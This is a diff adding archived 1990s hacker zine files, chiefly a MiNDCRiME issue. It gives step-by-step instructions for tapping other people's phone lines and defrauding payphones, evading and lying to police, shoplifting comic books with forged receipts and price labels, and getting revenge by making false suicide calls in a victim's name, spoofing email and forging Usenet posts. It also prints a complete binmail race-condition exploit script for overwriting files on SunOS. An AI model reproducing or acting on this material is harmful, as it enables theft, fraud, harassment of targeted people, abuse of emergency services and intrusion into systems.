you should +be able to tell. + Follow the lines until you see wires running off into someones house. +Follow the line RIGHT into their yard. Check and see if it goes into their +roof. If it does, then keep moving: If it goes down the side of their house +you just found yourself a "spot". Most likely, you will find a Grey +colored box, about 4"x4"x2". Locate it, and push UP on it, to slide it +off. Once you get it off, it should look similar to this (it may have +4 prongs which means it has may have 2 linez) + + ,-------------------. + | | + | Bolts | + | | | + | __ <-'-> __ | + | | | | | | + | `--'--. ,--`--' | + `--------|`'|-------' + | | <-- Main wire. + ` ` + Attach the RED alligator clip (from the RED wire of the phone cord) +onto the LEFT bolt, and the GREEN clip onto the RIGHT bolt. You SHOULD +get a dial tone. If you dont, then reverse the clips. + If the box has more than one set of bolts, attach the clips to the +bolts that are on the same horizontal plane (Ie: Two top, or two bottom bolts + + +not one top and one bottom) Confuse you yet??? You'll figure it out. + It is likely that you will find one of these on a phone pole. If you +do, get ready for some fun, because that is probably a test line owned by +the phone company. You can make all the calls you want, and never have to +worry about someone else picking up the line. + + Sometimes, on apartments, you will find a silver box about a foot +long. There are SHINY METAL (Not grey plastic). You can open it by sliding +it to the right. It will unlatch and spring open, revealing a staggered +arangment of bolts, OR prongs. It will look something like this. + + ,------CASING-----------------. + | | + | __ | + | | | | + | ,---`--' <--- Bolts | + | | __ | + ____.' | | | + Main Wire-> ____'-------------- `--' | + | `. | + | `.__ __ | + \|/ | | \|/ + These can be a little tricky, because most of the time all of the +prongs arnt used, and the telco guys are lazy. Just keep trying combo's +until you get a tone. You would think that you would just stagger your +way down, BUT Ive only seen ONE that was done like that. :( + They are found often near the top of telephone poles. It isnt +really a good idea to go up there, because if someone catches you, you have + + +no where to run. Even if you live in the sticks, SOME COP is gonna drive by +and ask you what your doing (Trust me.. :( + + +Green Cans +-=-=-=-=-= + + After you get the hang of those (they are your LAST resort), keep +following that phone line. Eventually, you SHOUD come to a place where +that BIG line (on the phone poles) goes down into some pipes on the side +of the pole and underground. THIS IS WHAT YOU ARE LOOKING FOR! Look around +for another place like this CLOSE by. If you find it, somewhere around your +area is a "Mother Load" or "Green Can". It may be underground. As mentioned +before, look around for the man hole with the Telco's initials on it. + The mother load is usually a grey-green in color, though I have seen +grey ones. They look ALOT like swing-open filing cabinets. + + Now, get out your 7/16" wrench (Good thing you read the WHOLE text +file before you went out) and twist the bolts on the silver hands +counter-clockwise (There are arrows printed on the silver handle). + + Got it open? Awesome 'eh? (Yes, Im Canadian) All those wires, +those white plastic bars, those wierd looking toolz hanging off the side +of the doors, the instructions on how to use them... Yes, the +instructions. Read them. Write down any phone numbers written down on the +inside of the can. + Look for a regular phone jack. They are USUALLY test lines. A +source of worry-free amusement. If one exists, use it. Why bill someone +some money when you can do it too your telco. + If there is no phone jack your going to have to use one of the tools. +Use the one on the left. It looks really fuqing wierd. Now randomly pick +out a plastice bar, and open it. There should be tabs you press to have it +flip open. You just opened a terminal. look at it terminal closely. +You should be able to see bits of bare wire if you look at the slits on the +top of it. When you find one that has the wire in it, plug in the test tool. +There are two little spikes that fit into hole on the FRONT (not the top) of +the terminal, and you can slide the latch of the tool of the face of the +terminal and hook it onto the back. + Attach your beige box two the bolts at the base of the tool. If you +dont get a dial tone, swith the alligator clips. If still no tone, try +another bank on the terminal. + Before you go phreak-happy, GRAB THE WIRE. There should be a spool +of wire somewhere in the can, usually resting in its own little stand. +TAKE IT. It is VERY VERY usefull. + +General tips beige boxing. +-=-=-=-=-= + This is what I want to stress. How NOT to get caught. + Here are a few rules you should follow: + --------------------------------------- + 1. Do everything suspicious late at night + 2. Keep away from noisy dogs + 3. Keep away from hot spots (lotsa cops) + 4. Keep away from party zones + 5. Keep quite + + You should be sure to wear a lighter colored shirt underneath +a darker colored shit. That way, if you DO get seen, you can whip off +the dark shit, and appear to be a diffrent person. + Remember that spool of wire you got? Well, try running your +connections away from civilization (across the road and down the ditch). +I ran over 400 meters of wire into the woods once, and had no connection +problems. Be sure to watch out for cutting the line, and shorts (if you must +strip the wire in more than one spot) + To make your life easier, try getting some heavey-duty clips with +wires hanging from them and a clip on the other end. You can attach these +to your connection, so you can clip on without opening anything up later, +and disconnect without having to go back to the site (just yank). + If you get stopped by the police (on a routine stop), try and +be REALLY polite. Answer any questions the guy may have UNLESS it starts + + +getting to the "I know Im caught" point. Lie about your name of course. +If you are carrying a bag and he asks to see whats in it, SHOW him, but dont +take anything out of the bag. Just open it so he can look in. If he says +something like "Would you come with me?", say "Sure.." and when he turns +around RUN!!! (A good reason NOT to drive directly to your site). + Here is a little list of things you should get if your going to +get into phreaking. + WyreTapps List o' Stuff + -=-=-=-=-=-=-=-=-=-=-=-=-=-=-=- + 1. A friend. Its always funner if u got a friend with you. + 2. Pliers, Wire cutters, 7/16" wrench, flash-light and a knife + all attacked to a rope or something- so you dont have to dig + for them. + 3. A back-pack. + 4. A spool of wire (the 300meter phone stuff from the can) + 5. A spool of little wire (for loose connections and tying) + 6. Extra alligator clips + 7. 4 Industrial strength clips with wires attached (you will find + a use.) + 8. A hand-scanner (to scan the police channels. Its nice to know + if you've been caught early.) + 9. Walkie-Talkies. Nothing expensive. Just so you can communicate + with your friend (ie: setting up a connection and a cop comes. + Your friend is 200 meters away, and cant yell or you'll both + get seen.) + 10. A binder, with paper and a pen attached to it. Really nice to + have. + +Red Boxing +-=-=-=-=-= + A red box is something that plays the quarter sound. Whenever + + +you drop a quarter into a pay-phone, it makes a series of beeps which +signals a quarter has been dropped in. (There are dime and nickle sounds 2) + You can make this sound without the quarter. :) But, alas- Most +telco's are smart and buy NEW payphones that have the ground check. When +a coin is dropped into the phone, it grounds it so that the pay-phone knows +you dropped money in. + Before I tell you how to by-pass the ground test, heres how to make +a red box, the EASY way. + + Get one of those halmark greeting cards, or talking pictures, or +record-your-greeting christmas ornaments and record the tone +into it. + How do you get the tone?? HAHAHA. Remember your beige box? +Look around the pay-phone for one of those little grey boxes or a phone-jack. + + +Plug your beige box in, and drop a quarter into the pay phone. The tone +will be played through your phone REALLY loud and clear. Just record this +into your aparatus. + Another way of doing the tone without a redbox, is to use your +beige box as mentioned above, and put the ear-piece to the mouth-piece of + + +another payphone. + To bypass the ground check, just drop a nickle into the slot + +(which may sometimes be enough for local calls- no red-box needed), OR: + Look at the mouth-piece. Alot of holes in it. Is there +a hole in the direct middle?? If so, drive a tack into it, and run a piece +of wire from the tack to the hook (the thing that holds the phone up when +you hang it up). Hang-up the phone for about 2 seconds, and that will +ground the phone so you can play your tones into your beige box, with a +grounded phone. :) + Sometime you can just ground the phone to make local calls, but Ive +only seen one phone that'll do that (in an OLD dorm). + +Conclusion +-=-=-=-=-= + I was hopeing on writing some stuff on Calling Cards, how to +setup a teleconfrence (just dial 0 and ask for help) and Voice Message +systems but I think this article is long enough for now. I ny next +article I will discuss the above and after that I will go into Unix Hacking. +Greetz to: Z0rpHix, Tonyhawk, Endlisnis, Wildman, QwikSilver, Dark and + jUIcE. +================================[MiNDCRiME]================================ +[File #8:] + +[This is an example of what NOT to send. The article is nice, but it + doesn't go with h/p. In the future please only send h/p related articles + to us. Unless u have a really unusual how-to, send only h/p. -hc] + + ______________________________ + |[][][][][][][][][][][][][][][]| + |[] []| + |[] /\ []| + |[] \ []| + |[] \TEALING COMIC BOOKS []| + |[] \/ []| + |[] []| + |[][][][][][][][]][[][][][][][]| + ================================ by: kid Eternity + + For those of you who collect comic books, you probably know + that it can be an expensive hobby. For those of you who don't collect + comic books, trust me. Even if you don't collect comics, this file may + be of some use to you. Comic books, like basball cards, can be(come) + very valuable; so you could acquire and sell comic books, or give them + away to friends, relatives, etc. Also, to those of you who don't collect, + I suggest you start- its damn fun. There are comics for everyone. + +===- + + First, you'll need a place to steal comics from. This could + be a local bookstore or a supermarket with a comic book stand. But, + the Best place would be either a comic bookstore, or a comic book + convention. + In a place like a bookstore or a supermarket, you could + hide the comic book(s) inside on another, in another book or magazine, + or just take it. When I say 'just take it', i mean discretely, like + hiding it or something. Stick it under you shirt/jacket, whatever. + The best way is to roll the comic book (gently!!! if you bend it, + it may not be worth shit!) a little, then stick your hand and forearm + through it, then put your sleeve over that. That may seem a little + complicated, but I've found it to be the best/most discreet way. + Or you could always walk out of the store it. + + Many times people won't even think that you are stealing it. + If they do, just say that you bought it somewhere else. If you are + going to say that, you may want to bring along a bag from a comic + bookstore plus make up a fake receipt on your home calculator(on that + you can print up numbers and shit on), or you COULD do it with your + computer/printer. If you bring along the bag, you'll probably get + away with taking more stuff. + + STORES & CONVENTIONS + Comic book stores and conventions are sometimes better to steal + from because you can get older/more valuable/more rare comic books than + at a bookstore or something. + + Choosing the store is very important. You want to find a store + that is poorly run, somewhat spacious, and does not have any employees + walking around watching you. At most of the larger comic book stores, + they'll have a television with some sort of sci-fi movie playing, if + you've seen the movie before, you're in luck. The employees are usually + watching the movie. Listen to the employees talking to see if there is + a part of the movie that they especially want to see. If that part isn't + too far away, you'll want to make your purchase RIGHT before it comes on. + + It also works to your advantage if the employees are having a discussion + If you are a veteran collector, and there is a particular store + you hate, because of the owner being an asshole, Whatever, you'll probably + want to hit this store. + + Once you have found the comics you want, you can try a few different + things. If you didn't already know, in comic book stores, all back issues + are stored in a plastic comic-sized bag with a thin piece of cardboard o + the back (but inside the bag) to keep the comic book safe. One thing + you can do is get some newer issues off the new issue rack-section-type- + thing, then open up the comic bag, look through the comic book a little + (as if you are deciding whether or not to purchase it) then, as you + are putting the comic away, put a new issue or two inside the bag also. + Remember to put these behind the back issue that was originally in the bag. + Then look around a little longer, then casually go and buy your comic + books. + Another thing to try is somewhat easier, but requires more + planning, and only works if you have some experience collecting. + First of all, you'll need to find a comic book worth stealing. + You don't HAVE to for this plan to work, it may even work better if + its any old comic, but its just not worth it unless you find a comic + worth stealing. I suggest a comic in the $20-$60 price range. Also, + and this is the important part, make sure that it is either not very + popular AT ALL, or that it has 2nd, 3d, etc printings that look exactly + the same as the first printing. Next, go to the comic book store and + find that comic book and check to see if they have 2nd or 3rd, etc, + printings that are cheaper than the first printing. Remember how the + price label looks (you may even want to take a piece of paper and copy + it right there - say you're checking how much comic books are in a couple + of places to compare prices or something), now go home and make that label + again. The next day, go to the store and put that copy of the label + that was on the later printings on the FIRST printing (right over its + old label). Now the first printing looks like a later printing, and + has the same price as a later printing. Now, just like before, wait til + the employees are preoccupied, then make your purchase. You may want to + buy some other comics at the same time so they don't get suspicious. + + For those of you who collect comics: a perfect comic to do this with + is the Vampire Lestat #1. + + Conventions can be handled somewhat the same way as stores, but + there are usually more people watching you at all times at a convention, + so it can be much harder. An essential at a convention is a bookbag and/or + a binder. The best thing to do at a convention is to look at the boxes + that the dealers have set up under the table; the larger dealers usually + keep the stuff they couldn't fit on their table under the table. While + under the table, keep your bag right next to you, OPEN. Take out some + comics that you'd like out of the box along with some others, proceed + to look at some, then put some down next to the opening of your bag, + and when no one is looking casually, but quickly, slip them into your bag. + But using methods like those above work too, especially putting + comics in a bag with other comics and buying just one (with the others + in the bag). You can find conventions by looking in comic book price + guides or magazines(Wizard, Comics Vaules Monthly, Comic Books Buyers + Guide, etc), in a section entitled 'Conventions!'' or something + self-explanatory like that. + +===- + There are more methods than I've described above, but some were + little complicated, some too simple, some just variations on stuff above + and some i just didn't feel like putting in. Again, if you don't collect, + I suggest starting a little before trying any of this, just so you have the + general feel of being at a store and/or a convention; and also cuz its fun. + For those of you who do collect, be careful and not too greedy. If + you have any other ways to get comics, problems with what I wrote, + questions, etc, please leave me mail or talk to me on IRC or something + like that. Cya l8r.... + + kid Eternity - eternity@phantom.com +... +================================[MiNDCRiME]================================ +[FiLE #9:] + Getting Even + The Sequel Your Momma Warned You About. + by h0wcum + + Revenge is an art. Cristian belief is to forgive one another, but +my persoanl belive is to make the fuxers pay for even the smallest +mistake. The mistake being fuxing with you. Life is short, unfair and +painfull and I don't have time to waste getting fucked with. So, to make +life a little more interesting, I sit around conceiving and implementing +revenge tactics. Your anger must fuel you. It it the primary driving +force in seeking revenge. The anger must come from severe intolerance of +getting fucked with. + + I will discuss a few more revenge tactics in this edition. I'd +like to point out that some are illegal, and some are not. Wether or not +they are illegal, the do not make a good story to tell a cop, so watch +your ass and don't get busted. I will not be resposible for your +implementation or failure to implement these tactics. + + Most of these tactics I will discuss require knowing your mark's +name and possibly his or her address. + +"They're Coming to Take Me Away!" + This tactic definately requires knowing your mark's name and +address, or atleast his name. The first time I pulled this one off, I did +it from half way across the country. It's great for laughs and it will +really ruin your mark's day. + Find the name of a radio station local to your mark. This isn't +really hard. Find someone in the area to tell you or get it out of +directory assistance, or you can order a set of yellow pages for your +mark's area. (always a good idea as it comes in handy. I have about 10 +foreign phone books.). Call that radio station at night, but when you +expect your mark to be awake. You will pretend to be your mark. Act +really upset and paranoid and threaten suicide. BE CONVINCING! Talk of +how the world is against you and you have a gun pointed to your head, or +better yet, say you popped a huge ammount of pills and time is running +out on you. Use your imagination. + If you are certain your mark is not listed in the phone book, +reluctantly give him your address (yes, he will ask repeatedly). Atleast +give him your name. He will call an ambulance on the other line while you +talk. It is especially usefull to use the pill method here because if the +EMT's think you are dying, they will be more forcefull in hauling your +mark away. + If all goes well, the EMT's will be hauling your mark away to the +local mental hospital for a 24 hour stay of observation. This is required +by law in some areas. Of course your mark is going to deny it, but the +doctors will expect that, and it will keep him in longer if he does in +fact get taken. The worst case scenario here is that the ambulance shows +up, and leaves without him. Even if that happens, you can rest assured he +will not be very happy. + Suicide threats to radio stations are taken very seriously, so it +is probable the EMT's will aguire your mark no matter how much he denies +being suicidal. When I tried this, mr. mark was away for 2 days. (I sent +him flowers) + A variation of this tactic would be to call the ambulance and +skip the radio station. You can make up any medical situation, or you can +be suicidal to them. If you do, act really out of it, keep forgetting +things and being contradictory. Make them think you can't remeber from +one minute to the next. That way, they won't believe your mark when he +claims not to be suicidal. neighbors get a kick out of watching ambulances. + + +PART B: Supplimental Toolz: Fake mail and fake news. + + Now before you kiddies get going on this, I know this is old shit. +I know it's been done before and I am merely posting it for the less +informed, so spank me. + + Just about every system on the net has a mail daemon running, the +process which handles incoming and out going mail. You can usually connect +to these daemons (on just about any system) by telnetting to port 25 of +that system. Ex: + +telnet buttfuck.com 25 + + I'll show you a sample session. Lines beginning with are +what you would type (duh). + +220 gold.tc.umn.edu (Mail*Hub TurboSendmail) Service ready + + helo root@cert.org +250 gold.tc.umn.edu G'day MATH1.CIMS.NYU.EDU! Why do you call yourself +root@cert.org? + + mail from: root@cert.org + +250 root@cert.org... Sender ok + rcpt to: h0wcum@cyberspace.net + +250 h0wcum@cyberspace.net... Recipient ok + data + +354 Enter mail, end with "." on a line by itself + To: h0wcum@cyberspace.net + Subject: repeated breakin attempts. + + This is an automatic warning generated by a security daemon. + Warning is hereby given to you that unless you cease from your + unlawful activities on the network, criminal charges will be + sought against you. + + This is your final warning. The FBI has been notified of + your activities. + + You need not reply to this, but should you have any questions, + you may call us directly with this reference number: Q3-23-A. + + Have a nice day. BITCH! + . + +250 Message received and queued + quit +221 Until later buttfuck.com + + + Now this isn't totaly untraceable. If any of you know of an +untracable STMP site, please let me know. The recipient will get the +following (shown with full headers, your mail viewer may not show them all +but they are there, just the same). + +From root@cert.org Mon Dec 12 02:22:26 1994 +Return-Path: +Received: from my.fake.mail.com victim.com (4.1/SMI-4.1) + id AA22748; Mon, 12 Dec 94 02:21:23 PST +Received: from buttfuck.com by my.fake.mail.edu; Mon, 12 Dec 94 04:18:54 -0500 +To: j00@victim.com +Subject: repeated breakin attempts. +Message-Id: <2eec2399487d002@my.fake.mail.edu> +Date: Mon, 12 Dec 94 04:19:05 -0500 +From: root@cert.org +Status: RO +X-Status: + +This is an automatic warning generated by a security daemon. +Warning is hereby given to you that unless you cease from your +unlawful activities on the network, criminal charges will be +sought against you. + +This is your final warning. The FBI has been notified of +your activities. + +You need not reply to this, but should you have any questions, +you may call us directly with this reference number: Q3-23-A. + +Have a nice day. BITCH! +--------------------- + + I embellished a little. my.fake.mail.edu is the mail server you +used, victim.com is your mark's address and buttfuck.com is you. Still, +unless someone points out a better way, there is no way to get rid of this: + +Received: from buttfuck.com by my.fake.mail.edu; Mon, 12 Dec 94 04:18:54 -0500 + +So, if you can, telnet to somewhere else before telnetting you your fake mail +server. + +FAKE NEWS + + Fake news rox. I allways post fake news to the gay areas of usenet. +You can either post to gay areas, post to alt.test to get your mark about +1000 automatic replies, or cross post wildly to groups that have nothing +to do with what you are posting about so that every Mr. Butt-cheese will +write your mark (and his postmaster which could get him kicked if +enough complaints come in) bitching of an inapropriate cross-post. + You can't telnet to just any NNTP server and post. You can usually +only do it from a host in the NNTP's domain. So use a hacked account for +this. Some sites use a seperate news server in their domain for news. If +you can't find the site, type tin -r and watch for "Connecting to +news.masterbation.com" (or whatever) to find the host then telnet to that +site. You will be using port 119, folks, and if any1 knows an anonymous +access NNTP server, lemmie know. Here's an example: + +200 bondage.buttfuck.com InterNetNews NNRP server INN 1.4 20-Mar-93 ready +(posting ok). + + group alt.homosexual +211 171 32393 32563 alt.homosexual + + post +340 Ok + + Newsgroups: alt.homosexual <--- separate by commas. 1 must match + From: solctice@iia.org ^your "group" command + Organization: Idiots Is Awesom <-- anything here + Distributions: world <-- a must + Subject: GWM in need of companion. + + Hello all! I'm looking for a nice single gentleman in the NJ + area to get together with. I'm sorta lonely so if you'd like to meet + email me! + -Jim + (not really necessary) + . +240 Article posted +quit +205 Connection closed by foreign host. + + The message will show up on usenet within about 20 mins. Here's +what it will look like: + +From bondage.buttfuck.com!news Mon Dec 12 05:03:45 1994 +Path: bondage.buttfuck.com!news +From: solctice@iia.org +Newsgroups: alt.homosexual +Subject: GWM in need of companion. +Date: 12 Dec 1994 09:59:03 GMT +Organization: Idiots Is Awesom +Lines: 5 +Message-ID: <3ch6t7$2kn@bondage.buttfuck.com> +NNTP-Posting-Host: sodomy.buttfuck.com <--unavoidable unless + you post from the site of your mark. +Distribution: world + +Hello all! I'm looking for a nice single gentleman in the NJ +area to get together with. I'm sorta lonely so if you'd like to meet +email me! +-Jim + + bondage is the NNTP server and sodomy is the host you posted from +so be sure to use a hacked acct. Like I said most of this is common +knowlege to all hackers. The trick here is most effective use out of it. +Use your imagination. People get really pissed on UseNet. Time Magazine +recently wrote an article on UseNet and how people who cross post get +thousands of nasty replies. One good use of this is to incorporate the +"Make Money Fast" scam into this and cross-post to every group from your +mark. Time said a lot off ppl got pissed, a lot. So do it up. Remeber, if +you're gonna get revenge, don't do it with sticks and stones, do it nuclear. +-h0wcum + +JUST IN: (old news, but I just found it) These are NNTP servers +which you can telnet to from anywhere: + +This list was compiled by Matthew Ghio (ghio@myriad.pc.cc.cmu.edu). +[Edited by me to remove no posting and non workable sites] + ccvax.ucd.ie + myriad.pc.cc.cmu.edu + news.c2.org + news.cis.nctu.edu.tw + news.csie.nctu.edu.tw + news.usafa.af.mil [u try it, not me :) ] + + +================================[MiNDCRiME]================================ +[File #10:] +[Courtesy of Rerror] + +These are two articles about John Falcon's arrest that appeared +in the Anchorage Daily News in Alaska: + +Police Report + +Hacker accused of computer fraud +A 20-year-old Anchorage man has been charged with four counts +related to computer fraud. Donald Max Fanning is accused of +breaking into a computer system at a Seattle-based company and +illegally charging phone calls to the Federal Aviation +Administration and MarkAir. The charges also allege that +Fanning stole property from Elmendorf Air Force Base and +illegally obtained a password that could have allowed him to +break into a government computer. Fanning is scheduled to be +arraigned in U.S. District Court today. + Daily News staff report + +Hacker gets 20-month sentence + +By S.J. Komarnitsky +Daily News Reporter + + An Anchorage man convicted of computer hacking has +been sentenced to 20 months in federal prison. + Donald Max Fanning was also ordered to pay $21,000 in +restitution and perform 200 hours of community service. + Fanning, 20, pleaded guilty in June to two counts of +computer fraud, one count of fradulant use of an access +device, and theft of U.S. government property. + Assistant U.S. Attorney Jim Torgerson said the charged +included stealing computer equipment from Elmendorf Air Force +Base, illegally charging more than $1,700 in long-distance +calls to the Federal Aviation Administration and MarkAir, and +breaking into a Seattle-based computer company. (Typist: I +know this to be Tera Computer) + Fanning also posted the code he used to charge calls +to the FAA on a voice-mail system. + Torgerson said Wednesday that most of the money - +about $14,000 - would go to the Air Force to cover the cost of +the stolen equipment. An additional $4,800 would go to the +Seattle company to repay its costs in tracking Fanning down, +while the remainder would be given to the FAA and MArkAir to +pay for the phone calls. + Fanning will be on probation for three years following +his release. As part of his sentence, he will not be allowed +to own or use any computer during that time. +-- +You can E-Mail him at jfalcon@ice-bbs.alaska.net ... I will +print out and send anything sent here to him in prison. Responses +will be E-Mailed back. + + +================================[MiNDCRiME]================================ + +================================[MiNDCRiME]================================ +[ File #11:] + + +[ I was told this was *thee* absolute latest sendmail script. If I am wrong, + spank me, cuz not only do I not give a flying fuck, but there are so many + sendmail exploits, it makes my head spin and I do not even try to keep + up with all of them. -hC ] + +#!/bin/sh +# tmpmail: overwrite files using binmail +# +# Usage: tmpmail to-file +# +# [8lgm], tested under SunOS 4.1.2. +# +# Definitely NOT for distribution, please do not use for cracking purposes! +# This script is only to be provided to trusted users, due to poor +# workaround chances. +# +# Note: Script only works if mail is suid root. +# Other vendors may use tmpnam("ma"). +# +# This vulnerability can be exploited for sgid +# mail binmails, the only modification would +# be to predict the pid of the mail process +# created by sendmail. This would be 4 forward +# of the current pid - assuming a 'quiet' system. +# +# Will create to-file, or truncate. + +PATH=/usr/ucb:/usr/bin:/bin export PATH +IFS=" " export IFS + +PROG="`basename $0`" + +# Check args +if [ $# -ne 1 ]; then + echo "Syntax: $PROG to-file" + exit 1 +fi + +TO_FILE="$1" + + +# Create our racing program! + +cat > mailrace.c << 'EOF' +#include +#include + +char path[] = "/tmp/maaXXXX"; + +main(argc,argv) +int argc; +char **argv; +{ + int pid; + char *trv; + + if (argc != 3) { + fprintf(stderr, "Usage: %s pid tofile\n", argv[0]); + exit(1); + } + + pid = atoi(argv[1]); + +/* Stolen from mktemp.c */ + for (trv = path; *trv; ++trv); /* extra X's get set to 0's */ + while (*--trv == 'X') { + *trv = (pid % 10) + '0'; + pid /= 10; + } + + symlink("/tmp/ShortSong", path); + while(symlink(argv[2], path)); + unlink("/tmp/ShortSong"); + exit(0); +} +EOF +cc -o mailrace mailrace.c + +# Check we now have mailrace +if [ ! -x "mailrace" ]; then + echo "$PROG: couldnt compile mailrace.c - check it out" + exit 1 +fi + +# create some input for binmail +echo localhost $USER > /tmp/BlueRoom.$$ +./mailrace $$ $TO_FILE & +exec /bin/mail -d $LOGNAME < /tmp/BlueRoom.$$ + +================================[MiNDCRiME]================================ diff --git a/textfiles.com/magazines/MINDCRIME/mcofc1.txt b/textfiles.com/magazines/MINDCRIME/mcofc1.txt new file mode 100644 index 0000000000000000000000000000000000000000..4625e4b345bc179fcb47d4adced6bf18e1bdadd8 GIT binary patch literal 11185 zcmdT~e{d7mo!`}ul_n-a4K2A|2JhN20>K8cl2+E9C9SeQ ztTU$^%FttslqvM)+R04+fslsl6(~@pg`tx=6@hZa&CJ~&*DIG9Cdu^V(RHTR_JW&m z)_uRbD|sc^@sBV!xfe&f``-8adEfVa-}imX`z#@!Ql2ZfJyX8feE)s--&cN^>AHIL z>Y19%_4nTgf+%WS%x(JpRBKskT3}6o^=iQLc=UU?YOwgD!2_P&qSb&DTs0Z2Hrh-V z9ZFNyp)^?p$4AuAA>am!231D%KtZ{(4TfF1oPkr31u&1+Fa8*yC}R@Py3>tCD9v6? zMYp@6tv^l;r`%jEF!h8;##~lS={7?CLi^i7NDm?KyOEHup-ET|_gl4lXoAXJgly76 zqWvBgFsJDrmU76(gm@?@2{FD!CP_X(65IgaMMy+Z5?vloGMQxgzY>&3ypOX%G3NQ3 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%/% %/% %////%%////% %%%% +%//% %//% %/% %/% %/% %/ %%% %% /%% %/% %/% %/% %% %/% %% +%%%% %%%% %%% %%% %%% %%%%%% %%%%%% %%% %%% %%% %% %%% %%%%%%% + + O F F I C I A L F A N C L U B + + ---------------------------------------------------------------------------- + """""""""""""""""""""""""""""""""""""""""""""""""""""""""""""""""""""""""""" + + mindcrime's web page: http://www.exit109.com/~mike + mindcrime's blade web page: http://www.exit109.com/~mike/blade + mindcrime's 'zine web page: http://www.exit109.com/~mike/deviate + mindcrime's business web page: http://www.exit109.com/~mike/surreal + mindcrime's email address: mike@exit109.com + mindcrime's usual hangout's: #ansi, #blade. + the mindcrime fan club(tm) web page: (under kornstruction) + mindcrime's bbs: alderaan 908.244.8780 + offical fan club hangout: alderaan 908.224.8780 + + ---------------------------------------------------------------------------- + """""""""""""""""""""""""""""""""""""""""""""""""""""""""""""""""""""""""""" + s0uprdu0dul-b0y -- head editor and founder / president of mcofc. + j0hnie t dr4w -- writing staff head / spy and master of disguise. + mindcrime -- head person to be boggled over and dreamed about. + altwon fifteefyve -- makes sense. + + ---------------------------------------------------------------------------- + """""""""""""""""""""""""""""""""""""""""""""""""""""""""""""""""""""""""""" + [ s0uprdu0dul-b0y + guest] + + |"""| + 0' | <---- s0uprdu0dul-b0y. + --' | +\\\ | O | +-*0 | O | +*([ <== /)) +|")ù | / + || | | +_|> /__| + +/|\ + | + |________ his newly obtained (and on her knee's) girlfriend. + ---------------------------------------------------------------------------- + """""""""""""""""""""""""""""""""""""""""""""""""""""""""""""""""""""""""""" + | article by: s0uprdu0dul-b0y | + | title: mc of c -- update #1 | + | contents: | + | | + | i would of like to have continued my "dumb ansi.sys!" as pre-planned | + | for this issue but unforseen events have swayed me the opposite. as | + | you can tell by this issue's portrait i very much am hetrosexual | + | despite the doodleboy stereo-type of us all being fags. and that is | + | the purpose for bringing you an update. it was so said by our lord | + | and messiah, MINDCRIME, that, girls should not be placed higher then | + | computer affairs. however, a young prophet, a wise young lad, named | + | lucifer^ganja defied this law at the ritual of bladefest, and it turned | + | positive for him, i beg our lord, god, and savior, MINDCRIME, for the | + | the same. in the mean time however i am relinquishing editorship to | + | j0hnie. good luck j0hnie. also we're hot on the trail of MINDCRIME | + | we may have an interview with him coming soon. | + |__________________________________________________________________________| + """""""""""""""""""""""""""""""""""""""""""""""""""""""""""""""""""""""""""" | + |^^| + .o0' O + (--) | -- notice my new gear. a crown and a septur. 'cuz baby +\\/||\//| now i'm the king! lach on to 'diz s0upr du0d, b4 + |vv| | your just another number lay-deez. my cock awaits. + _UU_ ^ + (_||_) + + ---------------------------------------------------------------------------- + """""""""""""""""""""""""""""""""""""""""""""""""""""""""""""""""""""""""""" + | article by: j0hnie t dr4w (acting editor) | + | title: m0re upd4tez | + | contents: | + | | + | as gnu editr i reqwezt all sex. but who cares, about that, i got a | + | MINDCRIME UPDATE. a member of blade productions who for purposes of | + | anomonity we'll call DICKHEAD let us in on the fact that our beloved, | + | MINDCRIME, was vacationing on the island of fuji. after several checks | + | with "archie" (see between your ass crack, chapter titled "asshole") | + | and through lynx to http://www.yahoo.com searching for both MINDCRIME & | + | fuji, i determined it was not an island but a mountain. and that some- | + | how we had been driven to an ill direction. of course no one will | + | notice for several more issues but it as i, who made it look as tho, our | + | god, MINDCRIME, was leaving 'zines for doodle at all. not him! alas, | + | the staff here is too dumb to realize, present company not excluded. | + | however, lets move on. our good friend altwon fifteefyve was arrested | + | by the FBI for having transfered illegal data from one system to another.| + | better known as kiddie-bestaility-sodomy-porn. he still was making sense| + | for me. oh well. maybe they're keyboards are broken. anyway. this | + | issue is illing severely. -- we need windows! -- where is our savior? | + |__________________________________________________________________________| + """""""""""""""""""""""""""""""""""""""""""""""""""""""""""""""""""""""""""" | + diff --git a/textfiles.com/magazines/MINDCRIME/mcofc3.txt b/textfiles.com/magazines/MINDCRIME/mcofc3.txt new file mode 100644 index 00000000..e3cc8e3e --- /dev/null +++ b/textfiles.com/magazines/MINDCRIME/mcofc3.txt @@ -0,0 +1,164 @@ + T H E + + %%% +%%%%% %%%%% %%% %%%%%% %%%%%% %%%%%%% +%//%%%%%%//% %%% %% %%%% %%%%%% %% /%% %/% % %%% %%%%% %%%%% %% +%//% %% %//% %/% %/%%%//% %% /%% %% %/% %/% %////%%////% %%%% +%//% %//% %/% %/% %/% %/ %%% %% /%% %/% %/% %/% %% %/% %% +%%%% %%%% %%% %%% %%% %%%%%% %%%%%% %%% %%% %%% %% %%% %%%%%%% + + O F F I C I A L F A N C L U B + + ---------------------------------------------------------------------------- + """""""""""""""""""""""""""""""""""""""""""""""""""""""""""""""""""""""""""" + + mindcrime's web page: http://www.exit109.com/~mike + mindcrime's blade web page: http://www.exit109.com/~mike/blade + mindcrime's 'zine web page: http://www.exit109.com/~mike/deviate + mindcrime's business web page: http://www.exit109.com/~mike/surreal + mindcrime's email address: mike@exit109.com + mindcrime's usual hangout's: #ansi, #blade. + the mindcrime fan club(tm) web page: (under kornstruction) + mindcrime's bbs: alderaan 908.244.8780 + offical fan club hangout: alderaan 908.224.8780 + + ---------------------------------------------------------------------------- + """""""""""""""""""""""""""""""""""""""""""""""""""""""""""""""""""""""""""" + s0uprdu0dul-b0y -- head editor and founder / president of mcofc. + j0hnie t dr4w -- writing staff head / spy and master of disguise. + mindcrime -- head person to be boggled over and dreamed about. + altwon fifteefyve -- makes sense. + + ---------------------------------------------------------------------------- + """""""""""""""""""""""""""""""""""""""""""""""""""""""""""""""""""""""""""" +[su0prdu0dul-b0y] + + |`""'| + _) |.o0'| _) _) + | -- | +___) /\__/\-------/ __) + < `D' > \ + | \____/ | / ___) +_) | (([])) | \ __) + \( || )/------/ _____) + __) | || | __) + <__||__> ___) ____) + + ---------------------------------------------------------------------------- + """""""""""""""""""""""""""""""""""""""""""""""""""""""""""""""""""""""""""" + | article by: su0prdu0dul-b0y | + | title: duh, i'm back. | + | contents: | + | | + | in all this wind i can barely speak. oh well. i'm trying to stand | + | strong against nature. i lost my girlfriend. oh well i'm back. | + | i got my gear again, i almost lost my cape and 'D' shirt. (i left em | + | at duh h0ez house) anyway. we've gotten 2 e-mails from MINDCRIME, | + | in response to our search. we're worried sick that we 